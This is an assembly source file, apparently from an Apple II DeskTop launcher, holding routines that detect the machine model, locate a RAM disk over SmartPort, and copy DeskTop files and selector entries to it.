.proc ClearScreenEnable80Cols
lda #$FF
sta INVFLG
sta FW80MODE
sta KBDSTRB
sta TXTSET
;; Clear Main & AUX text screen memory so
;; junk doesn't show on switch to 80-column,
;; while protecting 'screen holes' for //c & //c+
jsr HOME
sta RAMWRTON
lda #$A0
ldx #$77
DO
sta $400,x
sta $480,x
sta $500,x
sta $580,x
sta $600,x
sta $680,x
sta $700,x
sta $780,x
dex
WHILE_POS
sta RAMWRTOFF
;; Turn on 80-column mode
jsr SLOT3ENTRY
jsr HOME
;; IIgs: Reset shadowing
sec
jsr IDROUTINE
IF_CC
.pushcpu
.p816
.a8
lda #%01111111 ; bit 7 is reserved
trb SHADOW ; ensure shadowing is enabled
lda #%11100000 ; bits 1-4 are reserved, bit 0 unchanged
trb NEWVIDEO ; color DHR, etc
.popcpu
END_IF
rts
.endproc ; ClearScreenEnable80Cols
;;; ============================================================
;;; Dispatchers (e.g. Bitsy Bye) will set the prefix to the
;;; directory containing this file. But if not, we need to set
;;; it to the containing directory. The ProDOS convention for
;;; starting SYSTEM programs is that the absolute or relative
;;; path is set at $280, so use that if needed.
.proc EnsurePrefixSet
;; Does the current prefix contain this file?
;; NOTE: If everything followed the convention, we could
;; skip this and set the prefix unconditionally.
MLI_CALL GET_FILE_INFO, get_file_info_params
IF_CS
;; Ensure path has high bits clear. Workaround for Bitsy Bye bug:
;; https://github.com/ProDOS-8/ProDOS8-Testing/issues/68
ldx PRODOS_SYS_PATH
DO
asl PRODOS_SYS_PATH,x
lsr PRODOS_SYS_PATH,x
dex
WHILE_NOT_ZERO
;; Strip last filename segment
ldx PRODOS_SYS_PATH
lda #'/'
DO
dex
beq ret
WHILE_A_NE PRODOS_SYS_PATH,x
dex
stx PRODOS_SYS_PATH
;; Set prefix
MLI_CALL SET_PREFIX, set_prefix_params
END_IF
ret: rts
str_self_filename:
PASCAL_STRING kFilenameLauncher
DEFINE_GET_FILE_INFO_PARAMS get_file_info_params, str_self_filename
DEFINE_SET_PREFIX_PARAMS set_prefix_params, PRODOS_SYS_PATH
.endproc ; EnsurePrefixSet
;;; ============================================================
.proc BrandSystemFolder
MLI_CALL GET_PREFIX, get_prefix_params
MLI_CALL GET_FILE_INFO, file_info_params
IF_CC
lda file_info_params + 7 ; storage_type
IF_A_EQ #ST_LINKED_DIRECTORY
copy8 #7, file_info_params + 0 ; SET_FILE_INFO param_count
copy16 #$8000, file_info_params + 5 ; aux_type
MLI_CALL SET_FILE_INFO, file_info_params
END_IF
END_IF
rts
prefix_buf := $800
DEFINE_GET_PREFIX_PARAMS get_prefix_params, prefix_buf
DEFINE_GET_FILE_INFO_PARAMS file_info_params, prefix_buf
.endproc ; BrandSystemFolder
;;; ============================================================
local_dir: PASCAL_STRING kFilenameLocalDir
DEFINE_CREATE_PARAMS create_localdir_params, local_dir, ACCESS_DEFAULT, FT_DIRECTORY,, ST_LINKED_DIRECTORY
.proc CreateLocalDir
MLI_CALL CREATE, create_localdir_params
rts
.endproc ; CreateLocalDir
;;; ============================================================
SETTINGS_IO_BUF := misc_io_buffer
.include "../lib/load_settings.s"
.include "../lib/readwrite_settings.s"
;;; ============================================================
;;; Probe system capabilities, `DeskTopSettings::system_capabilities`
;;; Assert: ROM is banked in
.proc DetectSystem
copy8 #0, syscap
;; IIgs?
sec ; Follow detection protocol
jsr IDROUTINE ; RTS on pre-IIgs
IF_CC
lda #DeskTopSettings::kSysCapIsIIgs
jsr set_bit
jmp done_machid
END_IF
;; IIc?
lda ZIDBYTE ; $00 = IIc or later
IF_ZERO
lda #DeskTopSettings::kSysCapIsIIc
jsr set_bit
;; IIc Plus?
lda ZIDBYTE2 ; ROM version
IF_A_EQ #$05 ; IIc Plus = $05
lda #DeskTopSettings::kSysCapIsIIcPlus
jsr set_bit
END_IF
jmp done_machid
END_IF
;; Laser 128?
lda IDBYTELASER128
IF_A_EQ #$AC
lda #DeskTopSettings::kSysCapIsLaser128
jsr set_bit
jmp done_machid
END_IF
;; Macintosh IIe Option Card?
lda ZIDBYTE
IF_A_EQ #$E0 ; Enhanced IIe
lda IDBYTEMACIIE
IF_A_EQ #$02 ; Mac IIe Option Card
lda #DeskTopSettings::kSysCapIsIIeCard
jsr set_bit
jmp done_machid
END_IF
END_IF
done_machid:
;; Le Chat Mauve Eve?
jsr DetectLeChatMauveEve
IF_NOT_ZERO ; non-zero if LCM Eve detected
lda #DeskTopSettings::kSysCapLCMEve
jsr set_bit
END_IF
;; Mega II?
jsr DetectMegaII
IF_ZERO ; Z=1 if Mega II, Z=0 otherwise
lda #DeskTopSettings::kSysCapMegaII
jsr set_bit
END_IF
;; Write to settings
ldx #DeskTopSettings::system_capabilities
lda syscap
jmp WriteSetting
.proc set_bit
ora syscap
sta syscap
rts
.endproc ; set_bit
syscap: .byte 0
.endproc ; DetectSystem
.include "../lib/detect_lcmeve.s"
.include "../lib/detect_megaii.s"
;;; ============================================================
;;;
;;; Generic recursive file copy routine
;;;
;;; ============================================================
;;; Entry point is `GenericCopy::DoCopy`
;;; * Source path is `GenericCopy::pathname_src`
;;; * Destination path is `GenericCopy::pathname_dst`
;;; * Callbacks (`GenericCopy::hook_*`) must be populated
.proc GenericCopy
;;; ============================================================
ShowInsertSourceDiskPrompt:
jmp (hook_insert_source)
ShowCopyingScreen:
jmp (hook_show_file)
;;; Callbacks - caller must initialize these
hook_handle_error_code: .addr 0 ; fatal; A = ProDOS error code or kErrCancel
hook_handle_no_space: .addr 0 ; fatal
hook_insert_source: .addr 0 ; if this returns, copy is retried
hook_show_file: .addr 0 ; called when `pathname_src` updated
kErrCancel = $FF
;;; --------------------------------------------------
;;; Identifiers
;;; --------------------------------------------------
;;; For recursive copy operations
dir_io_buffer := $800 ; 1024 bytes for I/O
dir_data_buffer := $C00 ; 256 bytes for directory data
src_io_buffer := $E00 ; 1024 bytes for I/O
dst_io_buffer := $1200 ; 1024 bytes for I/O
copy_buffer := $3900 ; Read/Write buffer
kCopyBufferSize = MLI - copy_buffer
;;; Since this is only ever "copy to RAMCard" / "at boot" we assume it
;;; is okay if it already exists.
::kCopyIgnoreDuplicateErrorOnCreate = 1
;;; No enumeration pass before the copy, so check as we go.
::kCopyCheckSpaceAvailable = 1
;;; --------------------------------------------------
;;; Callbacks
;;; --------------------------------------------------
OpCheckCancel := CheckCancel
OpInsertSource := ShowInsertSourceDiskPrompt
OpHandleErrorCode:
jmp (hook_handle_error_code)
OpHandleNoSpace:
jmp (hook_handle_no_space)
OpUpdateProgress := ShowCopyingScreen
;;; Previously this used a jump table, but since there is only a
;;; copy operation and no enumeration (etc) the jump table was
;;; removed.
OpProcessDirectoryEntry := CopyProcessDirectoryEntry
OpResumeDirectory := RemoveDstPathSegment
OpFinishDirectory := NoOp
;;; --------------------------------------------------
;;; Library
;;; --------------------------------------------------
.include "../lib/recursive_copy.s"
;;; ============================================================
.proc CheckCancel
lda KBD
bpl ret
sta KBDSTRB
cmp #$80|CHAR_ESCAPE
beq cancel
ret: rts
cancel: lda #kErrCancel
jmp (hook_handle_error_code)
.endproc ; CheckCancel
;;; ============================================================
.endproc ; GenericCopy
;;; ============================================================
;;;
;;; Part 1: Copy DeskTop Files to RAMCard
;;;
;;; ============================================================
.proc CopyDesktopToRAMCardImpl
;;; ============================================================
;;; Data buffers and param blocks
;; Used in `CheckDesktopOnDevice`
path_buf := $D00
DEFINE_GET_FILE_INFO_PARAMS get_file_info_params4, path_buf
unit_num:
.byte 0
current_unit_num:
.byte 0
;;; Index into DEVLST while iterating devices.
devnum: .byte 0
DEFINE_SP_STATUS_PARAMS status_params, SELF_MODIFIED_BYTE, dib_buffer, 3 ; Return Device Information Block (DIB)
dib_buffer: .tag SPDIB
DEFINE_ON_LINE_PARAMS on_line_params,, on_line_buffer
on_line_buffer: .res 17, 0
copied_flag: ; set to `dst_path`'s length, or reset
.byte 0
DEFINE_GET_PREFIX_PARAMS get_prefix_params, src_path
DEFINE_SET_PREFIX_PARAMS set_prefix_params, dst_path
DEFINE_CREATE_PARAMS create_dt_dir_params, dst_path, ACCESS_DEFAULT, FT_DIRECTORY, 0, ST_LINKED_DIRECTORY
DEFINE_GET_FILE_INFO_PARAMS get_file_info_params, src_path
kNumFilenames = 5
;; Files/Directories to copy
str_f1: PASCAL_STRING kFilenameModulesDir
str_f2: PASCAL_STRING kFilenameLocalDir
str_f3: PASCAL_STRING kFilenameDADir
str_f4: PASCAL_STRING kFilenameExtrasDir
str_f5: PASCAL_STRING kFilenameLauncher ; last - serves as a sentinel
filename_table:
.addr str_f1,str_f2,str_f3,str_f4,str_f5
ASSERT_ADDRESS_TABLE_SIZE filename_table, kNumFilenames
kHtabCopyingMsg = (80 - .strlen(res_string_copying_to_ramcard)) / 2
kVtabCopyingMsg = 12
str_copying_to_ramcard:
PASCAL_STRING res_string_copying_to_ramcard
kHtabCancelMsg = (80 - .strlen(res_string_esc_to_cancel)) / 2
kVtabCancelMsg = 16
str_esc_to_cancel:
PASCAL_STRING res_string_esc_to_cancel
;; String contains four control characters to toggle MouseText charset
kHtabCopyingTip = (80 - (.strlen(res_string_label_tip_skip_copying) - 4)) / 2
kVtabCopyingTip = 23
str_tip_skip_copying:
PASCAL_STRING res_string_label_tip_skip_copying
;;; Save stack to restore on error during copy.
saved_stack:
.byte 0
;;; Holds the destination path, e.g. "/RAM/DESKTOP"
dst_path: .res ::kPathBufferSize, 0
;;; Holds the source path, e.g. "/HD/A2D"
src_path: .res ::kPathBufferSize, 0
;;; Current file being copied
filename_buf:
.res 16, 0
filenum:
.byte 0 ; index of file being copied
str_slash_desktop:
PASCAL_STRING .concat("/", kFilenameRAMCardDir)
;;; ============================================================
.proc Start
;; Clear flag - ramcard not found or unknown state.
lda #0
jsr SetCopiedToRAMCardFlag
;; Remember the current volume
copy8 DEVNUM, current_unit_num
;; Skip RAMCard install if flag is set
ldx #DeskTopSettings::options
jsr ReadSetting
and #DeskTopSettings::kOptionsSkipRAMCard
IF_ZERO
;; Skip RAMCard install if button is down
lda BUTN0
ora BUTN1
bpl SearchDevices
END_IF
jmp DidNotCopy
;; --------------------------------------------------
;; Look for RAM disk
.proc SearchDevices
copy8 DEVCNT, devnum
DO
ldx devnum
lda DEVLST,x
;; NOTE: Not masked with `UNIT_NUM_MASK` for tests below.
sta unit_num
;; Ignore current volume
and #UNIT_NUM_MASK
cmp current_unit_num
beq next_unit
lda unit_num ; not masked
;; Special case for RAM.DRV.SYSTEM/RAMAUX.SYSTEM.
cmp #kRamDrvSystemUnitNum
beq test_unit_num
cmp #kRamAuxSystemUnitNum
beq test_unit_num
;; Smartport?
jsr FindSmartportDispatchAddress ; handles unmasked unit num
bcs next_unit
stax dispatch
sty status_params::unit_num
;; Execute SmartPort call
dispatch := *+1
jsr SELF_MODIFIED
.byte SPCall::Status
.addr status_params
bcs next_unit
;; Online?
lda dib_buffer+SPDIB::Device_Statbyte1
and #$10 ; general status byte, $10 = disk in drive
beq next_unit
;; Check device type
;; Technical Note: SmartPort #4: SmartPort Device Types
;; https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/smpt/tn.smpt.4.html
lda dib_buffer+SPDIB::Device_Type_Code
ASSERT_EQUALS SPDeviceType::MemoryExpansionCard, 0
bne next_unit ; $00 = Memory Expansion Card (RAM Disk)
lda unit_num
bne test_unit_num ; always
next_unit:
dec devnum
WHILE_POS
jmp DidNotCopy
;; Have a prospective device.
test_unit_num:
;; Verify it's online.
lda unit_num
and #UNIT_NUM_MASK ; explicitly not masked above
sta on_line_params::unit_num
MLI_CALL ON_LINE, on_line_params
bcs next_unit
lda on_line_buffer
and #NAME_LENGTH_MASK
beq next_unit
param_call AdjustOnLineEntryCase, on_line_buffer
;; Copy the name prepended with '/' to `dst_path`
ldy on_line_buffer
iny
sty dst_path
copy8 #'/', on_line_buffer
sta dst_path+1
DO
copy8 on_line_buffer,y, dst_path+1,y
dey
WHILE_NOT_ZERO
;; Record that candidate device is found.
lda #$C0
jsr SetCopiedToRAMCardFlag
;; Keep root path (e.g. "/RAM5") for selector entry copies
param_call SetRAMCardPrefix, dst_path
;; Append app dir name, e.g. "/RAM5/DESKTOP"
ldy dst_path
ldx #0
DO
iny
inx
copy8 str_slash_desktop,x, dst_path,y
WHILE_X_NE str_slash_desktop
sty dst_path
;; Is it already present?
jsr CheckDesktopOnDevice
bcs StartCopy ; No, start copy.
;; Already copied - record that it was installed and grab path.
lda #$80
jsr SetCopiedToRAMCardFlag
jsr SetHeaderOrigPrefix
jsr CopyOrigPrefixToDesktopOrigPrefix
copy8 dst_path, copied_flag
jmp FinishDeskTopCopy ; sets prefix, etc.
.endproc ; SearchDevices
.endproc ; Start
.proc SetHeaderOrigPrefix
MLI_CALL GET_PREFIX, get_prefix_params
dec src_path
ldy src_path
DO
copy8 src_path,y, header_orig_prefix,y
dey
WHILE_POS
rts
.endproc ; SetHeaderOrigPrefix
.proc StartCopy
ptr := $06
jsr ShowCopyingDeskTopScreen
jsr InitProgress
;; Record that the copy was performed.
lda #$80
jsr SetCopiedToRAMCardFlag
jsr SetHeaderOrigPrefix
;; --------------------------------------------------
;; Create desktop directory, e.g. "/RAM/DESKTOP"
MLI_CALL CREATE, create_dt_dir_params
IF_CS
IF_A_NE #ERR_DUPLICATE_FILENAME
jsr DidNotCopy
END_IF
END_IF
;; --------------------------------------------------
;; Loop over listed files to copy
tsx ; In case of error
stx saved_stack
copy8 dst_path, copied_flag ; reset on error
copy8 #0, filenum
DO
jsr UpdateProgress
lda filenum
asl a
tax
copy16 filename_table,x, ptr
ldy #0
lda (ptr),y
tay
DO
copy8 (ptr),y, filename_buf,y
dey
WHILE_POS
jsr CopyFile
inc filenum
lda filenum
WHILE_A_NE #kNumFilenames
jsr UpdateProgress
FALL_THROUGH_TO FinishDeskTopCopy
.endproc ; StartCopy
.proc FinishDeskTopCopy
lda copied_flag
IF_NOT_ZERO
sta dst_path
MLI_CALL SET_PREFIX, set_prefix_params
END_IF
jsr UpdateSelfFile
jsr CopyOrigPrefixToDesktopOrigPrefix
copy8 #0, RAMWORKS_BANK ; Just in case???
;; Initialize system bitmap
ldx #BITMAP_SIZE-2
DO
sta BITMAP,x
dex
WHILE_NOT_ZERO
copy8 #%00000001, BITMAP+BITMAP_SIZE-1 ; ProDOS global page
copy8 #%11001111, BITMAP ; ZP, Stack, Text Page 1
;; Done! Move on to Part 2.
jmp CopySelectorEntriesToRAMCard
.endproc ; FinishDeskTopCopy
;;; ============================================================
.proc DidNotCopy
copy8 #0, copied_flag
jmp FinishDeskTopCopy
.endproc ; DidNotCopy
;;; ============================================================
;;; Input: A = new flag
.proc SetCopiedToRAMCardFlag
bit LCBANK2
bit LCBANK2
sta COPIED_TO_RAMCARD_FLAG
bit ROMIN2
rts
.endproc ; SetCopiedToRAMCardFlag
.proc GetCopiedToRAMCardFlag
bit LCBANK2
bit LCBANK2
lda COPIED_TO_RAMCARD_FLAG
sta ROMIN2
rts
.endproc ; GetCopiedToRAMCardFlag
.proc SetRAMCardPrefix
ptr := $6
target := RAMCARD_PREFIX
stax ptr
bit LCBANK2
bit LCBANK2
ldy #0
lda (ptr),y
tay
DO
copy8 (ptr),y, target,y
dey
WHILE_POS
bit ROMIN2
rts
.endproc ; SetRAMCardPrefix
.proc SetDesktopOrigPrefix
ptr := $6
target := DESKTOP_ORIG_PREFIX
stax ptr
bit LCBANK2
bit LCBANK2
ldy #0
lda (ptr),y
tay
DO
copy8 (ptr),y, target,y
dey
WHILE_POS
bit ROMIN2
rts
.endproc ; SetDesktopOrigPrefix
;;; ============================================================
.proc AppendFilenameToSrcPath
lda filename_buf
IF_NOT_ZERO
ldx #0
ldy src_path
copy8 #'/', src_path+1,y
DO
iny
BREAK_IF_X_GE filename_buf
copy8 filename_buf+1,x, src_path+1,y
inx
WHILE_NOT_ZERO ; always
sty src_path
END_IF
rts
.endproc ; AppendFilenameToSrcPath
;;; ============================================================
.proc RemoveFilenameFromSrcPath
ldx src_path
IF_NOT_ZERO
lda #'/'
DO
cmp src_path,x
beq done
dex
WHILE_NOT_ZERO
inx
done: dex
stx src_path
END_IF
rts
.endproc ; RemoveFilenameFromSrcPath
;;; ============================================================
.proc AppendFilenameToDstPath
lda filename_buf
IF_NOT_ZERO
ldx #0
ldy dst_path
copy8 #'/', dst_path+1,y
DO
iny
BREAK_IF_X_GE filename_buf
copy8 filename_buf+1,x, dst_path+1,y
inx
WHILE_NOT_ZERO ; always
sty dst_path
END_IF
rts
.endproc ; AppendFilenameToDstPath
;;; ============================================================
.proc RemoveFilenameFromDstPath
ldx dst_path
IF_NOT_ZERO
lda #'/'
DO
cmp dst_path,x
beq done
dex
WHILE_NOT_ZERO
inx
done: dex
stx dst_path
END_IF
rts
.endproc ; RemoveFilenameFromDstPath
;;; ============================================================
.proc ShowCopyingDeskTopScreen
;; Message
copy8 #kHtabCopyingMsg, OURCH
lda #kVtabCopyingMsg
jsr VTABZ
param_call CoutString, str_copying_to_ramcard
;; Esc to Cancel
copy8 #kHtabCancelMsg, OURCH
lda #kVtabCancelMsg
jsr VTABZ
param_call CoutString, str_esc_to_cancel
;; Tip
bit supports_mousetext
IF_NS
copy8 #kHtabCopyingTip, OURCH
lda #kVtabCopyingTip
jsr VTABZ
param_call CoutString, str_tip_skip_copying
END_IF
rts
.endproc ; ShowCopyingDeskTopScreen
;;; ============================================================
;;; Callback from copy failure; restores stack and proceeds.
.proc FailCopy
lda #0 ; treat as no RAMCard
jsr SetCopiedToRAMCardFlag
ldx saved_stack
txs
MLI_CALL CLOSE, close_everything_params
jmp DidNotCopy
.endproc ; FailCopy
;;; ============================================================
;;; Copy `filename` from `src_path` to `dst_path`
.proc CopyFile
jsr AppendFilenameToDstPath
jsr AppendFilenameToSrcPath
MLI_CALL GET_FILE_INFO, get_file_info_params
IF_CS
cmp #ERR_FILE_NOT_FOUND
beq cleanup
jmp DidNotCopy
END_IF
;; Set up source path
ldy src_path
DO
copy8 src_path,y, GenericCopy::pathname_src,y
dey
WHILE_POS
;; Set up destination path
ldy dst_path
DO
copy8 dst_path,y, GenericCopy::pathname_dst,y
dey
WHILE_POS
copy16 #FailCopy, GenericCopy::hook_handle_error_code
copy16 #FailCopy, GenericCopy::hook_handle_no_space
copy16 #FailCopy, GenericCopy::hook_insert_source
copy16 #noop, GenericCopy::hook_show_file
jsr GenericCopy::DoCopy
cleanup:
jsr RemoveFilenameFromSrcPath
jsr RemoveFilenameFromDstPath
noop:
rts
.endproc ; CopyFile
;;; ============================================================
;;; Input: `dst_path` set to RAMCard app dir (e.g. "/RAM5/DESKTOP")
;;; DeskTop.system itself is used as a sentinel, as it is the last
;;; file copied to the folder.
.proc CheckDesktopOnDevice
;; `path_buf` = `dst_path`
COPY_STRING dst_path, path_buf
;; `path_buf` += "/DeskTop.system"
ldx path_buf
ldy #0
DO
inx
iny
copy8 str_sentinel_path,y, path_buf,x
WHILE_Y_NE str_sentinel_path
stx path_buf
;; ... and get info
MLI_CALL GET_FILE_INFO, get_file_info_params4
IF_CC
cmp16 #2, get_file_info_params4::blocks_used
;; Ensure at least something was written to the file
;; (uses 1 block at creation)
END_IF
rts
;; Appended to RAMCard root path e.g. "/RAM5"
str_sentinel_path:
PASCAL_STRING .concat("/", kFilenameLauncher)
.endproc ; CheckDesktopOnDevice
;;; ============================================================
;;; Update the live (RAM or disk) copy of this file with the
;;; original prefix.
.proc UpdateSelfFileImpl
DEFINE_OPEN_PARAMS open_params, str_self_filename, misc_io_buffer
str_self_filename:
PASCAL_STRING kFilenameLauncher
DEFINE_READWRITE_PARAMS write_params, PRODOS_SYS_START, kWriteBackSize
DEFINE_CLOSE_PARAMS close_params
start: MLI_CALL OPEN, open_params
IF_CC
lda open_params::ref_num
sta write_params::ref_num
sta close_params::ref_num
MLI_CALL WRITE, write_params
MLI_CALL CLOSE, close_params
END_IF
rts
.endproc ; UpdateSelfFileImpl
UpdateSelfFile := UpdateSelfFileImpl::start
;;; ============================================================
.proc CopyOrigPrefixToDesktopOrigPrefix
param_call SetDesktopOrigPrefix, header_orig_prefix
rts
.endproc ; CopyOrigPrefixToDesktopOrigPrefix
;;; ============================================================
.endproc ; CopyDesktopToRAMCardImpl
CopyDesktopToRAMCard := CopyDesktopToRAMCardImpl::Start
GetCopiedToRAMCardFlag := CopyDesktopToRAMCardImpl::GetCopiedToRAMCardFlag
;;; ============================================================
kProgressStops = CopyDesktopToRAMCardImpl::kNumFilenames + 1
.include "../lib/loader_progress.s"
;;; ============================================================
;;;
;;; Part 2: Copy Selector Entries to RAMCard
;;;
;;; ============================================================
.proc CopySelectorEntriesToRAMCardImpl
;;; Save stack to restore on error during copy.
saved_stack:
.byte 0
.proc Start
sta KBDSTRB
;; Clear screen
jsr SLOT3ENTRY
jsr HOME
FALL_THROUGH_TO ProcessSelectorList
.endproc ; Start
;;; See docs/Selector_List_Format.md for file format
.proc ProcessSelectorList
ptr := $6
;; Is there a RAMCard?
jsr GetCopiedToRAMCardFlag
jeq InvokeSelectorOrDesktop ; no RAMCard - skip!
;; Clear "Copied to RAMCard" flags
bit LCBANK2
bit LCBANK2
ldx #kSelectorListNumEntries-1
lda #0
DO
sta ENTRY_COPIED_FLAGS,x
dex
WHILE_POS
bit ROMIN2
;; Load and iterate over the selector file
jsr ReadSelectorList
jne bail
tsx ; in case of error
stx saved_stack
;; Process "primary list" entries (first 8)
.scope
copy8 #0, entry_num
entry_loop:
lda entry_num
cmp selector_buffer + kSelectorListNumPrimaryRunListOffset
beq done_entries
jsr ComputeLabelAddr
stax ptr
ldy #kSelectorEntryFlagsOffset ; Check Copy-to-RamCARD flags
lda (ptr),y
ASSERT_EQUALS ::kSelectorEntryCopyOnBoot, 0
bne next_entry
lda entry_num
jsr ComputePathAddr
jsr PrepareEntryPaths
jsr CopyUsingEntryPaths
bit LCBANK2 ; Mark copied
bit LCBANK2
ldx entry_num
copy8 #$FF, ENTRY_COPIED_FLAGS,x
bit ROMIN2
next_entry:
inc entry_num
jmp entry_loop
done_entries:
.endscope
;; Process "secondary run list" entries (final 16)
.scope
copy8 #0, entry_num
entry_loop:
lda entry_num
cmp selector_buffer + kSelectorListNumSecondaryRunListOffset
beq done_entries
clc
adc #8
jsr ComputeLabelAddr
stax ptr
ldy #kSelectorEntryFlagsOffset ; Check Copy-to-RamCARD flags
lda (ptr),y
ASSERT_EQUALS ::kSelectorEntryCopyOnBoot, 0
bne next_entry
lda entry_num
clc
adc #8
jsr ComputePathAddr
jsr PrepareEntryPaths
jsr CopyUsingEntryPaths
bit LCBANK2
bit LCBANK2
ldx entry_num
copy8 #$FF, ENTRY_COPIED_FLAGS+8,x
bit ROMIN2
next_entry:
inc entry_num
jmp entry_loop
done_entries:
.endscope
bail:
jmp InvokeSelectorOrDesktop
entry_num:
.byte 0
.endproc ; ProcessSelectorList
;;; ============================================================
entry_path1: .res ::kSelectorListPathLength, 0
entry_path2: .res ::kSelectorListPathLength, 0
entry_dir_name:
.res 16, 0 ; e.g. "APPLEWORKS" from ".../APPLEWORKS/AW.SYSTEM"
;;; ============================================================
.proc CopyUsingEntryPaths
jsr PreparePathsFromEntryPaths
;; Set up destination dir path, e.g. "/RAM/APPLEWORKS"
ldx GenericCopy::pathname_dst ; Append '/' to `path1`
copy8 #'/', GenericCopy::pathname_dst+1,x
inc GenericCopy::pathname_dst
ldy #0 ; Append `entry_dir_name` to `path1`
ldx GenericCopy::pathname_dst
DO
iny
inx
copy8 entry_dir_name,y, GenericCopy::pathname_dst,x
WHILE_Y_NE entry_dir_name
stx GenericCopy::pathname_dst
;; If already exists, consider that a success
MLI_CALL GET_FILE_INFO, gfi_params
RTS_IF_CC
;; Install callbacks and invoke
copy16 #HandleErrorCode, GenericCopy::hook_handle_error_code
copy16 #ShowNoSpacePrompt, GenericCopy::hook_handle_no_space
copy16 #ShowInsertSourceDiskPrompt, GenericCopy::hook_insert_source
copy16 #ShowCopyingEntryScreen, GenericCopy::hook_show_file
jmp GenericCopy::DoCopy
DEFINE_GET_FILE_INFO_PARAMS gfi_params, GenericCopy::pathname_dst
.endproc ; CopyUsingEntryPaths
;;; ============================================================
;;; Copy `entry_path1/2` to `path1/2`
.proc PreparePathsFromEntryPaths
;; Copy `entry_path2` to `pathname_src`
ldy #AS_BYTE(-1)
DO
iny
copy8 entry_path2,y, GenericCopy::pathname_src,y
WHILE_Y_NE entry_path2
;; Copy `entry_path1` to `path1`
ldy entry_path1
DO
copy8 entry_path1,y, GenericCopy::pathname_dst,y
dey
WHILE_POS
rts
.endproc ; PreparePathsFromEntryPaths
;;; ============================================================
;;; Compute first offset into selector file - A*16 + 2
.proc ComputeLabelAddr
addr := selector_buffer + kSelectorListEntriesOffset
jsr AxTimes16
clc
adc #<addr
tay
txa
adc #>addr
tax
tya
rts
.endproc ; ComputeLabelAddr
;;; ============================================================
;;; Compute second offset into selector file - A*64 + $182
.proc ComputePathAddr
addr := selector_buffer + kSelectorListPathsOffset
jsr AxTimes64
clc
adc #<addr
tay
txa
adc #>addr
tax
tya
rts
.endproc ; ComputePathAddr
;;; ============================================================
.proc ReadSelectorListImpl
DEFINE_OPEN_PARAMS open_params, str_selector_list, misc_io_buffer
str_selector_list:
PASCAL_STRING kPathnameSelectorList
DEFINE_READWRITE_PARAMS read_params, selector_buffer, kSelectorListBufSize
DEFINE_CLOSE_PARAMS close_params
start: MLI_CALL OPEN, open_params
IF_CC
lda open_params::ref_num
sta read_params::ref_num
MLI_CALL READ, read_params
php
MLI_CALL CLOSE, close_params
plp
END_IF
rts
.endproc ; ReadSelectorListImpl
ReadSelectorList := ReadSelectorListImpl::start
;;; ============================================================
.proc AxTimes16
ldx #0
stx bits
.repeat 4
asl a
rol bits
.endrepeat
ldx bits
rts
bits: .byte 0
.endproc ; AxTimes16
;;; ============================================================
.proc AxTimes64
ldx #0
stx bits
.repeat 6
asl a
rol bits
.endrepeat
ldx bits
rts
bits: .byte $00
.endproc ; AxTimes64
;;; ============================================================
;;; Prepare entry paths
;;; Input: A,X = address of full entry path
;;; e.g. ".../APPLEWORKS/AW.SYSTEM"
;;; Output: `entry_path2` set to path of entry parent dir
;;; e.g. ".../APPLEWORKS"
;;; `entry_dir_name` set to name of entry parent dir
;;; e.g. "APPLEWORKS"
;;; `entry_path1` set to RAMCARD_PREFIX
;;; e.g. "/RAM"
;;; Trashes $06
.proc PrepareEntryPaths
ptr := $6
stax ptr
;; Copy passed address to `entry_path2`
ldy #0
lda (ptr),y
tay
DO
copy8 (ptr),y, entry_path2,y
dey
WHILE_POS
;; Strip last segment, e.g. ".../APPLEWORKS/AW.SYSTEM" -> ".../APPLEWORKS"
ldy entry_path2
lda #'/'
DO
BREAK_IF_A_EQ entry_path2,y
dey
WHILE_NOT_ZERO
dey
sty entry_path2
;; Find offset of parent directory name, e.g. "APPLEWORKS"
DO
BREAK_IF_A_EQ entry_path2,y
dey
WHILE_POS
;; ... and copy to `entry_dir_name`
ldx #0
DO
iny
inx
copy8 entry_path2,y, entry_dir_name,x
WHILE_Y_NE entry_path2
stx entry_dir_name
;; Prep `entry_path1` with `RAMCARD_PREFIX`
bit LCBANK2
bit LCBANK2
ldy RAMCARD_PREFIX
DO
copy8 RAMCARD_PREFIX,y, entry_path1,y
dey
WHILE_POS
bit ROMIN2
rts
.endproc ; PrepareEntryPaths
;;; ============================================================
str_copying:
PASCAL_STRING res_string_label_copying
str_insert:
PASCAL_STRING res_string_prompt_insert_source
str_not_enough:
PASCAL_STRING res_string_prompt_ramcard_full
str_error_prefix:
PASCAL_STRING res_string_error_prefix
str_error_suffix:
PASCAL_STRING res_string_error_suffix
str_not_completed:
PASCAL_STRING res_string_prompt_copy_not_completed
;;; ============================================================
;;; Callback; used for `GenericCopy::hook_show_file`
.proc ShowCopyingEntryScreen
jsr HOME
lda #0
jsr VTABZ
copy8 #0, OURCH
param_call CoutString, str_copying
param_call CoutStringNewline, GenericCopy::pathname_src
rts
.endproc ; ShowCopyingEntryScreen
;;; ============================================================
;;; Callback; used for `GenericCopy::hook_insert_source`
.proc ShowInsertSourceDiskPrompt
lda #0
jsr VTABZ
copy8 #0, OURCH
param_call CoutString, str_insert
jsr WaitEnterEscape
IF_A_EQ #$80|CHAR_ESCAPE
ldx saved_stack
txs
MLI_CALL CLOSE, close_everything_params
jmp FinishAndInvoke
END_IF
jmp HOME ; and implicitly continue
.endproc ; ShowInsertSourceDiskPrompt
;;; ============================================================
;;; Callback; used for `GenericCopy::hook_handle_no_space`
.proc ShowNoSpacePrompt
ldx saved_stack
txs
MLI_CALL CLOSE, close_everything_params
lda #0
jsr VTABZ
copy8 #0, OURCH
param_call CoutString, str_not_enough
jsr WaitEnterEscape
jmp FinishAndInvoke
.endproc ; ShowNoSpacePrompt
;;; ============================================================
;;; On copy failure, show an appropriate error; wait for key
;;; and invoke app.
;;; Callback; used for `GenericCopy::hook_handle_error_code`
.proc HandleErrorCode
ldx saved_stack
txs
pha
MLI_CALL CLOSE, close_everything_params
pla
cmp #GenericCopy::kErrCancel
jeq FinishAndInvoke
cmp #ERR_OVERRUN_ERROR
jeq ShowNoSpacePrompt
cmp #ERR_VOLUME_DIR_FULL
jeq ShowNoSpacePrompt
;; Show generic error
pha
param_call CoutString, str_error_prefix
pla
jsr PRBYTE
param_call CoutString, str_error_suffix
param_call CoutStringNewline, GenericCopy::pathname_src
param_call CoutString, str_not_completed
;; Wait for keyboard
sta KBDSTRB
loop: lda KBD
bpl loop
sta KBDSTRB
cmp #$80|kShortcutMonitor ; Easter Egg: If 'M', enter monitor
beq monitor
.if kBuildSupportsLowercase
cmp #$80|TO_LOWER(kShortcutMonitor)
beq monitor
.endif
cmp #$80|CHAR_RETURN
bne loop
jmp FinishAndInvoke
.endproc ; HandleErrorCode
